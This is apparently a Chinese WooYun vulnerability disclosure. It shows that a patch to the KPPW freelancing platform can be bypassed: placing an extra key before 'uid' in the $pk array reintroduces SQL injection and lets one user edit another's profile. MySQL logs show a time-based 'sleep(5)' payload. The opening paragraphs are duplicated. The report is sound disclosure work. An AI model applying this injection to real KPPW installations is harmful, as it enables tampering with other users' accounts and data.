### 简要描述: KPPW最新版SQL注入漏洞,修补不严 ### 详细说明: 1.看了http://wooyun.org/bugs/wooyun-2010-086216。这篇帖子,正巧也在审计KPPW,也就去看了用一下最新版对于爆出问题的修补方式。最新版为了防止该漏洞,添加了一个验证。 ``` if($gUserInfo['uid'] != $pk['uid']){ kekezu::show_msg('无权操作',NULL,NULL,NULL,'error'); return false; } ``` 2.$gUserInfo['uid']是用户id,是我们不可控的。所以这里不能再用xfkxfk大牛的方法构造uid了。那么我们再看一下save函数。 ``` function save($fields, $pk = array()) { foreach ( $fields as $k => $v ) { $kk = ucfirst ( $k ); $set_query = "set" . $kk; $this->_table_obj->$set_query ( $v ); } $keys = array_keys ( $pk ); $key = $keys [0];//取$pk的第一个值 if (! empty ( $pk [$key] )) { $this->_table_obj->setWhere ( " $key = '" . kekezu::escape($pk [$key]) . "'" ); $edit_query = "edit_" . $this->_pre . $this->_table_name; $res = $this->_table_obj->$edit_query (); } else { $create_query = "create_" . $this->_pre . $this->_table_name; $res = $this->_table_obj->$create_query (); } if ($res) { return $res; } else { return false; } } ```...
### 简要描述: KPPW最新版SQL注入漏洞,修补不严 ### 详细说明: 1.看了http://wooyun.org/bugs/wooyun-2010-086216。这篇帖子,正巧也在审计KPPW,也就去看了用一下最新版对于爆出问题的修补方式。最新版为了防止该漏洞,添加了一个验证。 ``` if($gUserInfo['uid'] != $pk['uid']){ kekezu::show_msg('无权操作',NULL,NULL,NULL,'error'); return false; } ``` 2.$gUserInfo['uid']是用户id,是我们不可控的。所以这里不能再用xfkxfk大牛的方法构造uid了。那么我们再看一下save函数。 ``` function save($fields, $pk = array()) { foreach ( $fields as $k => $v ) { $kk = ucfirst ( $k ); $set_query = "set" . $kk; $this->_table_obj->$set_query ( $v ); } $keys = array_keys ( $pk ); $key = $keys [0];//取$pk的第一个值 if (! empty ( $pk [$key] )) { $this->_table_obj->setWhere ( " $key = '" . kekezu::escape($pk [$key]) . "'" ); $edit_query = "edit_" . $this->_pre . $this->_table_name; $res = $this->_table_obj->$edit_query (); } else { $create_query = "create_" . $this->_pre . $this->_table_name; $res = $this->_table_obj->$create_query (); } if ($res) { return $res; } else { return false; } } ``` 2.可以看出进行数据库操作的是$pk数组中的第一个键名,那么问题来了。如果在$pk['uid']之前就已经有了一个$pk[xxx],那么进入数据库查询的就应该是xxx,而不是uid了。构造我们的payload,如测试代码所示。 3.再来看MYSQL日志中的记录。 ``` 169 QueryUPDATE keke_witkey_space SET `sex`='-1',`birthday`='2015-04-02',`truename`='lijie1',`indus_id`='131',`indus_pid`='3',`is_perfect`='1' WHERE uid=sleep(5) -- a = '1' 150425 19:20:02 169 QueryUPDATE keke_witkey_space SET `email`='test1@163.com',`sex`='-1',`birthday`='2015-04-02',`truename`='lijie1',`qq`='445566798',`msn`='wer',`phone`='',`mobile`='13800000000',`indus_id`='131',`indus_pid`='3',`province`='0',`city`='0',`area`='0',`is_perfect`='1' WHERE uid=sleep(5) -- a = '1' ``` 4.可以看到update处已经是注入了 ### 漏洞证明: 1.注册两个用户test1和test2。在test2里面可以直接修改test1的内容。使用test2登录,到修改个人信息的页面。 [<img src="https://images.seebug.org/upload/201504/25201013aa4033fbc351f159691eba22c1169007.jpg" alt="2.jpg" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201504/25201013aa4033fbc351f159691eba22c1169007.jpg) 2.抓包,修改报的内容为 [<img src="https://images.seebug.org/upload/201504/25201054afd39dc143ca90174d4d8b08d241fb4d.jpg" alt="3.jpg" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201504/25201054afd39dc143ca90174d4d8b08d241fb4d.jpg) 3.再登录test1,可以看到test1的用户名已经被越权修改为pang0lin [<img src="https://images.seebug.org/upload/201504/25201232e2b5e3eda5df1dada514f79a00b6cf02.jpg" alt="5.jpg" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201504/25201232e2b5e3eda5df1dada514f79a00b6cf02.jpg)